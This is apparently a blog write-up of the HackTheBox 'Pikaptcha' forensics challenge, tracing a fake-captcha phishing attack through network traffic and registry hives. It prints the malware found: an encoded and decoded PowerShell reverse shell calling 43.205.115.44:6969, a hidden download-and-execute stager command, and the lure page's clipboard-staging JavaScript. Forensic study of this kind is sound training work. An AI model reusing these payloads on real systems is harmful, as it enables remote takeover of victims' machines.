HackTheBox - Pikaptcha [DFIR]

Happy Grunwald contacted the sysadmin, Alonzo, because of issues he had downloading the latest version of Microsoft Office. He had received an email saying he needed to update, and clicked the link to do it. He reported that he visited the website and solved a captcha, but no office download page came back. Alonzo, who himself was bombarded with phishing attacks last year and was now aware of attacker tactics, immediately notified the security team to isolate the machine as he suspected an attack. You are provided with network traffic and endpoint artifacts to answer questions about what happened.

Challenge Overview #

CTF Name:                 Pikaptcha
Category:                 Sherlock - DFIR
Active/Retired (at pwn):  Retired
Difficulty (subjective):  [4] Not too easy
Author:                   CyberJunkie
Date Released:            22 Oct 2024
Date Completed:           29 Jul 2025
CTF Link:                 https://app.hackthebox.com/sherlocks/Pikaptcha

Tasks #

Answer 6 questions related to the attack.

Files #

We are provided with a Pikaptcha.zip:

unzip Pikaptcha.zip    

Archive:  Pikaptcha.zip  
  creating: Pikaptcha/  
[Pikaptcha.zip] Pikaptcha/2024-09-23T052209_alert_mssp_action.zip password:    
 inflating: Pikaptcha/2024-09-23T052209_alert_mssp_action.zip     
 inflating: Pikaptcha/pikaptcha.pcapng
file pikaptcha.pcapng
pikaptcha.pcapng: pcapng capture file - version 1.0

The PcapNG file format (aka “PCAP Next Generation”, “pcap-ng” or “.pcapng”) is a capture file format designed to overcome limitations in the original libpcap file format, such as the inability to store packets with different link layer types. https://pcapng.com/

After unzipping 2024-09-23T052209_alert_mssp_action.zip a C directory is created:

tree C
C  
├── Users  
│   ├── Administrator  
│   │   ├── AppData  
│   │   │   └── Local  
│   │   │       └── Microsoft  
│   │   │           └── Windows  
│   │   │               ├── UsrClass.dat  
│   │   │               ├── UsrClass.dat.LOG1  
│   │   │               └── UsrClass.dat.LOG2  
│   │   ├── NTUSER.DAT  
│   │   ├── ntuser.dat.LOG1  
│   │   └── ntuser.dat.LOG2  
│   ├── CyberJunkie  
│   │   ├── AppData  
│   │   │   └── Local  
│   │   │       └── Microsoft  
│   │   │           └── Windows  
│   │   │               ├── UsrClass.dat
---snip---
35 directories, 228 files

As well as: 2024-09-23T05_22_09_5720380_CopyLog.csv and 2024-09-23T05_22_09_5720380_SkipLog.csv.csv files


Firstly, to get a general idea of what happened when Grunwald solved the captcha, analyze the pikaptcha.pcapng file with Wireshark:

sudo wireshark pikaptcha.png

Since we already know that at some point a malicious Powershell script was downloaded, we can try and look for it. A good place to start would likely be:

File -> Export Objects -> HTTP

Here we can search for .ps1 to find any Powershell scripts. Sure enough we get a hit for a office2024install.ps1:

148887    43.205.115.44    1,355 bytes    office2024install.ps1

Save the file locally for further analysis:

cat office2024install.ps1

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANAAzAC4AMgAwADUALgAxADEANQAuADQANAAiACwANgA5ADYAOQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

powershell -e is a commonly used flag in obfuscated or malicious PowerShell execution to execute a base64-encoded command:

echo "JABjAG---snip---AKQA=" | base64 -d

$client = New-Object System.Net.Sockets.TCPClient("43.205.115.44",6969);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

This is a basic PowerShell-based reverse shell, typically used in post-exploitation or initial access phases. However the code is a bit hard to read. After formatting the code:

$client = New-Object System.Net.Sockets.TCPClient("43.205.115.44", 6969)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % { 0 }

while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}

$client.Close()

Now it is clear it connects to a remote IP (43.205.115.44) on port 6969 via TCP, waits for incoming commands, executes them using iex (Invoke-Expression), and sends the command output back to the attacker. It also keeps the session alive in a loop.

[1] What is the full command that was run to download and execute the stager. #

First, we will need a tool to read hive registries with. A simple quick method is regipy. To install it:

python3 -m venv myvenv

source myvenv/bin/activate

(myvenv) pip install regipy

Then go to C/Users/happy.grunwald/ and list all files:

.  
├── AppData  
│   └── Local  
│       └── Microsoft  
│           └── Windows  
│               ├── UsrClass.dat  
│               ├── UsrClass.dat.LOG1  
│               └── UsrClass.dat.LOG2  
├── NTUSER.DAT  
├── ntuser.dat.LOG1  
├── ntuser.dat.LOG2

After installing regipy, the following tools can be used:

regipy-diff    regipy-parse-header    regipy-plugins-run                  
regipy-dump    regipy-plugins-list    regipy-process-transaction-logs

If attempting to use regipy-parse-header on NTUSER.DAT an error will appear: Hive is not clean! You should apply transaction logs

We have to clean the hive:

regipy-process-transaction-logs NTUSER.DAT -p ntuser.dat.LOG1 -s ntuser.dat.LOG2

INFO:regipy.recovery:Log Size: 361472  
INFO:regipy.recovery:Parsing hvle block at 0x200  
INFO:regipy.recovery:Parsing HvLE block at 0x200  
INFO:regipy.recovery:Currently at start of dirty pages: 760
---snip
INFO:regipy.recovery:Recovered 45 pages from primary transaction log Recovered 92 dirty pages. Restored hive is at Pikaptcha/C/Users/happy.grunwald/NTUSER.DAT.restored

Now we can analyze the clean NTUSER.DAT.restored:

regipy-dump NTUSER.DAT.restored > NTUSER.JSON
ERROR:regipy.registry:Could not parse VK at 3280949, registry hive is probably corrupted.

We get a registry hive is probably corrupted, but a json file is created, we can still analyze it, because usable data is present.

grep powershell NTUSER.JSON
   "subkey_name": "%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe",  
   "path": "\\Console\\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe",  
   "subkey_name": "%SystemRoot%_SysWOW64_WindowsPowerShell_v1.0_powershell.exe",  
   "path": "\\Console\\%SystemRoot%_SysWOW64_WindowsPowerShell_v1.0_powershell.exe",  
           "value": "powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')\"\\1",

These keys are under HKCU\Console, which stores execution context for command-line applications per user. The full command that was run to download and execute the stager:

powershell -NOP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')"

From this command we can see what was actually downloaded (office2024install.ps1), even though we already discovered it through Wireshark first.


[2] At what time in UTC did the malicious payload execute? #

The registry hive has information about when something was executed:

grep "powershell -NoP" C/Users/happy.grunwald/NTUSER.JSON -B 20 -A 20
{  
   "subkey_name": "RunMRU",  
   "path": "\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU",  
   "timestamp": "2024-09-23T05:07:45.961848+00:00",  
   "values_count": 3,  
   "values": [  
       {  
---snip---

In other software like RegRipper the timestamp field will show as “Opened At”. 2024-09-23 05:07:45

[3] The payload which was executed initially downloaded a PowerShell script and executed it in memory. What is sha256 hash of the script? #

sha256sum office24install.ps1
579284442094e1a44bea9cfb7d8d794c8977714f827c97bcb2822a97742914de office2024install.ps1

[4] To which port did the reverse shell connect? #

This is clear from the powershell code:

$client = New-Object System.Net.Sockets.TCPClient("43.205.115.44", 6969)
---snip---

6969

[5] For how many seconds was the reverse shell connection established between C2 and the victim’s workstation? #

In Statistics - Conversations:

403 seconds the connection was alive on port 6969 with the C2.

[6] Attacker hosted a malicious Captcha to lure in users. What is the name of the function which contains the malicious payload to be pasted in victim’s clipboard? #

For this we will inspect the accessed html page which required the users to pass a captcha. File - Export Objects - HTTP:

Filter by text/html in Content Type. Save the webpage root file to analyze it.

cat root_captcha.html

---snip---
function stageClipboard(commandToRun, verification_id){  
    const revershell=`powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')"`  
    const suffix = " # "  
    const ploy = "✅ ''I am not a robot - reCAPTCHA Verification ID: "  
    const end = "''"  
    const textToCopy = revershell  
    setClipboardCopyData(textToCopy);  
}
---snip---

the function is stageClipboard


Get Involved #

I think knowledge should be shared and discussions encouraged. So, don’t hesitate to ask questions, or suggest topics you’d like me to cover in future posts.

Stay Connected   #

You can contact me at ion.miron@tutanota.com